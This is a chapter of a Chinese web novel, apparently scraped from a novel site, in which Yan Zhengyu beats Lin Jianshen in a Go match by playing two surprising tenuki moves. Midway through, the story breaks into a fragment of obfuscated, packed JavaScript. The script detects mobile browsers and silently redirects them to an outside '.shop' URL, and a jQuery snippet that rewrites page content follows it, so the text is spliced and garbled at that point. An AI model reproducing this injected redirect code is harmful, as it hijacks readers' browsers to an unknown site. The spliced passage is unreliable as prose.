文趣网 > 都市小说 > 她将执棋 > 37. 第 37 章
    严争玉挺直背脊。

    额角落下一缕碎发,拂过她左眼尾那颗淡褐色的小痣。

    她没有时间去拨开,所有注意力都凝聚在棋盘上。

    林见深的这手“点”,犀利又精准,直插要害。

    如果按照常规应对,白棋的确会陷入苦战,甚至可能因为气紧而被黑棋缠绕攻击,处处受制。

    她闭上眼睛,又睁开。

    无尽的计算...

    脑海里不是一步步的穷举,而是城市夜景的浩瀚光点。

    流动,汇聚,又散开,没有固定的形状,却充满了无限的可能。

    又想起贺其年的话:“我永远是你的退路。”

    退路...

    严争玉拈起一枚白子,手腕一沉,落在棋盘的左下角。

    这是一处看似毫不相干的大场,而不是所有人预想的几个“要点”。

    “脱先”。

    俗称:逃跑。

    观战室瞬间死寂,仿佛被强行按下静音键。

    然后,顷刻间一片哗然。

    “‘脱先’?这个时候‘脱先’?!”

    “她...她放弃中腹了?那条大龙不要了?”

    “看不懂,完全看不懂!这手棋价值最多十五目,中腹那块要是死了,损失起码四十目以上!!!”

    陆守拙看到这手“脱先”,脸上的肌肉抽动一下,从牙缝里挤出两个字:

    “胡闹!!!”

    这已经不是棋风问题,这是彻头彻尾的昏招!是放弃抵抗!

    他激动地差点站起来,就差指着屏幕骂。

    ......

    对局室内,林见深的手悬在半空。

    整场对局中,他第一次抬起头,看向对面的严争玉。

    镜片后的眼眸中,平静的目光被一丝的错愕打破。

    严争玉迎着他的目光,脸上没有什么表情。

    林见深的手缓缓落下,却没有急于落子。

    他低下头,重新审视棋盘。

    纵使他预演过无数种白棋的应对,计算过每一个分支的变化,也绝不会想到这手“无理”的脱先!

    严争玉甚至微微侧过头,欣赏了一眼窗外的阳光。

    林见深的确没有算到这一手。

    时间一分一秒过去,他惯有的、快速的计算节奏被打断了。

    中腹的黑棋,还保持着进攻的姿态,可目标...突然消失了。

    这不是他熟悉的领域,但他的计算依然在运行。

    原本清晰严密的“参天大树”,因为主干的“旁逸斜出”,突然变得枝蔓横生,充满不确定。

    然而,白棋那条“大龙”,因为这一手“脱先”,反而呈现出一种古怪的弹性。

    几个薄弱的断点,因为黑棋自身气紧和棋形的微妙,难以一时被干净利落地切断。

    若强行屠龙,反而可能被白棋反杀。

    同时,这手“脱先”在左下角,与原有的白子配合,隐隐然要形成一片新的、富有潜力的模样。

    AI的胜率预测在屏幕上剧烈地跳动了几下。

    黑棋的胜率从百分之五十八,骤降到百分之五十二,又微微回升。

    观战室的嘈杂渐渐平息。

    几位高段棋手已经不再轻易下结论,他们看不懂这手棋。

    以他们浸淫棋道数十年的经验来看,这分明是败着。

    可为什么...为什么林见深会陷入长考?

    几个人通过手指在膝盖上虚划,试图跟上这突如其来的转折。

    陆守拙的脸色由激动逐渐转为阴沉。

    原本,黑棋势不可挡的攻势,此刻显得有点...无处着力?

    就在这时,观战室的门被轻轻推开一条缝。

    贺其年侧身走了进来,悄无声息地站在了最后排的阴影里。

    他的目光掠过屏幕上那手刺目的“脱先”,又落在前方陆守拙僵硬的背影上,嘴角勾起一抹极淡的的弧度。

    好戏,这才开场。

    ......

    林见深足足五分钟没有动,眼镜片后的目光在棋盘上反复逡巡。

    从白棋“脱先”落下的大场,扫回中腹苦心经营的黑棋厚势。

    再扫向另一侧,那块先前被她悄然加强过的孤棋。

    面前,林见深的计时器数字在稳定地跳动。

    严争玉没有去看对手,只是微微垂着眼,右手拇指轻轻摩挲着,仿佛在等待什么。

    观战室里,所有人都屏住了呼吸。

    “她...在等什么?”

    一个年轻棋手压低声音,忍不住问身边的前辈。

    那位八段棋手没有回答,喉结滚动了一下。

    他看懂了。

    或者说,他开始看懂了。

    严争玉那手“脱先”根本不是放弃中盘,而是在逼林见深做一个选择。

    是继续“强攻”,那块已经变得弹性十足的白棋孤子?

    还是回头“补强”,自己因“脱先”而暴露出的另一处薄弱?

    无论林见深选哪条路,白棋都已在别处捞足了实地。

    而更致命的是,那块黑棋厚势...此刻再看,竟隐隐有些笨重。

    它厚到没有明确的攻击目标,反而成了需要花费手数去维护的负担。

    严争玉已然逃跑。

    把一座蓄势待发的火山,孤零零地留在了棋盘中央,留给了林见深。

    陆守拙的脸色已经从阴沉转为铁青。

    他依然不认为那步“脱先”是“正着”。

    但棋盘上的局势演变,像一记耳光,抽在他赖以生存数的经验与判断上。

    他旁边的另一位老棋手,掏出手帕擦了擦额头并不存在的汗。

    后排阴影里,贺其年微微偏了偏头,目光掠过陆守拙僵硬的肩背,落在屏幕中严争玉的侧脸上。

    他嘴角那抹弧度深了一分,又很快敛去。

    ......

    对局室里,林见深终于动了。

    他没有去碰中腹,也没有回头“补强”。

    而是将黑棋,落在严争玉新开辟的左下角战场边缘。

    他不甘心,想看看严争玉到底怎样经营这片新阵势。

    既是试探,也是抵抗。

    几乎在林见深落子的同时,严争玉拈起白子,落在棋盘右上角的另一端。

    又是一步大场。

    再次“脱先”。

    她根本不理睬林见深的试探,自顾自地在棋盘上画下另一道白线。

    既不防守,也不应对,而是继续扩张。

    观战室又是一片压抑的抽气声。

    “疯了...”有人喃喃。

    林见深的手指颤了一下,他看懂了这步棋的潜台词:

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539298|201938||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >你试探你的,我抢我的。

    等你终于下定决心要来破我这片势时,你会发现,它已经扎根太深,你需要付出远超预期的代价。

    而中腹那块黑棋厚势,依旧尴尬地矗立在那里,像一件华丽却无处安放的摆设。

    ......

    接下来的十几手棋,节奏快得让人眼花缭乱。

    林见深被激起了全部斗志,将计算力发挥到极致。

    用复杂的接触战拖垮对手的神经和算路,这是他一贯擅长的。

    他不仅落子如飞,还试图在几个局部同时挑起战斗,搅乱局面。

    严争玉的应对,有种奇异的“滑”。

    她不正面硬碰,在看似不得不应的地方,轻巧地一“靠”、一“扳”、一“跳”。

    将黑棋的力道引偏,然后趁机在别处捞一点便宜。

    棋形谈不上多么优美扎实,甚至有些地方显得单薄。

    可偏偏就是让林见深憋闷,让他的精密算路撞上一团飘忽的雾气。

    ......

    棋盘上的实地差距,在不知不觉中拉开。

    当棋局进入官子阶段,所有职业棋手都已经清楚,白棋优势确立。

    虽然不是巨大的、碾压级的优势,但这种细腻的、一两目左右的领先,在严争玉“油滑”的官子手法面前,显得格外牢固。

    林见深推了推眼镜,第一次在比赛中,露出凝重的表情。

    他不再快速落子,每一步都计算得很漫长,试图在缝隙中寻找逆转。

    但严争玉应对得滴水不漏。

    她仿佛能预判林见深所有拼命的手段,然后在最关键处,轻轻巧巧地堵上那一点点可能。

    最后一枚单官收完。

    裁判上前数棋。

    对局室里安静得只剩下棋子归罐的轻响。

    林见深摘下眼镜,揉了揉眉心,然后重新戴上。

    严争玉松开一直摩挲着的手指,指尖有些发凉。

    裁判拿起麦克风,声音传了出去:

    “白棋,一目半胜。”

    观战室轰然炸开。

    “赢了?真的赢了?!”

    “我的天...那两步“脱先”...”

    “这棋...这棋到底怎么下的?我都要不会下棋了!”

    陆守拙脸色灰败,站起身,转身推开人群,快步走了出去。

    贺其年站在阴影里没有动,看到屏幕中严争玉起身,向林见深微微躬身行礼。

    他的目光很深,像是透过此刻的画面,看到了别的什么。

    然后,他转身离开了观战室,如同他来时一样,没有引起任何人的注意。

    ......

    “严争玉。”

    对局室内,林见深忽然站起来,叫她的名字。

    严争玉吓了一跳,直起身问:“怎么了。”

    林见深的目光没有失败的沮丧,没有不甘的怒火。

    他反而向前走了半步,目光落在棋盘上,看了那步“脱先”很久。

    然后,林见深重新看向她。

    镜片后的眼睛微微眯起,灼热的目光中,杂进一丝复杂的锐利。

    “这步棋...我学到了。”

    他缓缓说道,每个字都像是挤出来的。

    他似乎还想说什么,动了动嘴唇又咽了回去。

    ......